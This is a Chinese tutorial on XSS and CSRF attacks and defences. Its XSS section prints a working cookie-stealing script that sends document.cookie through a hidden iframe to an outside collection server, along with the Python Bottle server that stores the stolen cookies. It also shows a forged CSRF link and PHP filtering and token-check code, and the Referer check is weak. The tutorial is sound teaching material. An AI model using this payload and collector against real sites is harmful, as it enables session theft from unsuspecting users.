XSS与CSRF两种跨站攻击


XSS与CSRF两种跨站攻击

XSS (Cross Site Script):脚本中的不速之客


XSS 全称“跨站脚本”。当然,名字只是为了跟css做区分,是注入攻击的一种。跟SQL注入不同的是,XSS不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。而另外一种则是通过服务端的恶意程序,让用户点击以获取cookie里的身份认证信息

关键词

描述

常见攻击方法

简单的恶作剧——一个关不掉的窗口:

while (true) {
    alert("你关不掉我~");
}

也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:

#!/usr/bin/env python
#-*- coding:utf-8 -*-

"""
跨站脚本注入的信息收集服务器
"""

import bottle

app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)

@app.route('/myxss/')
def show(cookies, db):
    SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
    try:
        db.execute(SQL, cookies)
    except:
        pass
    return ""

if __name__ == "__main__":
    app.run()

然后在某一个页面的评论中注入这段代码:

// 用 <script type="text/javascript"></script> 包起来放在评论中

(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。

预防

以php为例,可以使用其内建函数进行代码过滤
//清理空格
$string = trim ( $string );
//过滤html标签
$string = strip_tags ( $string );
//将字符内容转化为html实体
$string = htmlspecialchars ( $string );

<?PHP
function clean_xss(&$string, $low = False)
{
    if (! is_array ( $string ))
    {
        //清理空格
        $string = trim ( $string );
        //过滤html标签
        $string = strip_tags ( $string );
        //将字符内容转化为html实体
        $string = htmlspecialchars ( $string );
        if ($low)
        {
            return True;
        }
        $string = str_replace ( array ('"', "\\", "'", "/", "..", "../", "./", "//" ), '', $string );
        $no = '/%0[0-8bcef]/';
        $string = preg_replace ( $no, '', $string );
        $no = '/%1[0-9a-f]/';
        $string = preg_replace ( $no, '', $string );
        $no = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';
        $string = preg_replace ( $no, '', $string );
        return True;
    }
    $keys = array_keys ( $string );
    foreach ( $keys as $key )
    {
        clean_xss ( $string [$key] );
    }
}
//just a test
$str = 'phpddt.com<meta http-equiv="refresh" content="0;">';
clean_xss($str); //如果你把这个注释掉,你就知道xss攻击的厉害了
echo $str;
?>

使用模版引擎的 Web 项目中(Django Jinja2,Laravel Blade),缺省会开启“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似

Hello, {!! $name !!}.

的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。

附上一些“白名单”消毒 HTML 标签和属性(Sanitize HTML)的开源解决方案:

CSRF(Cross Site Request Forgery):冒充用户


CSRF 的全称是“跨站请求伪造”。CSRF成功的前提用户必须登录到目标站点,且用户浏览了攻击者控制的站点。与XSS最为不同一点是CSRF可以不用JS就能达到目的(GET和POST的区别)。而且攻击者仅仅只需要给目标站一个请求就能成功,可以绕过同源策略。还有一个天然条件是浏览器的安全缺陷:浏览器在最初加入cookie功能时并没有考虑安全因素,存在隐式认证。即便是后期session的出现,也无法完全禁止cookie,例如sessionid就是记录在cookie里边的

关键词

描述

常见攻击

例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问: http://example.com/bbs/create_post.php?title=标题&content=内容 那么,我只需要在论坛中发一帖,包含一链接: http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈 只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。

预防

//eregi()功能:字符串比对解析,与大小写无关
if(eregi("www.baidu.com", $_SERVER['HTTP_REFERER'])) {
    //验证referer一致,执行代码
} else {
    echo "Malicious Request!";
}
function token_check() {
     // 检查session的Token是否存在
     if (is_stoken()) {
          // 检查Token是否发送过来
          if(isset($_REQUEST[FTOKEN_NAME])) {
               // 表单的Token和session的Token不一致
               // 伪造请求
               if($_REQUEST[FTOKEN_NAME] != $_SESSION[STOKEN_NAME]) {
                    gen_error(1);
                    destroy_stoken();
                    exit();
               } else {
                       //端口成功验证
                       //进行下一步的执行
                    destroy_stoken();
               }
          // 伪造请求
          } else {
               gen_error(2);
               destroy_stoken();
               exit();
          }
     // 伪造请求
     } else {
          gen_error(3);
          destroy_stoken();
          exit();
     }
}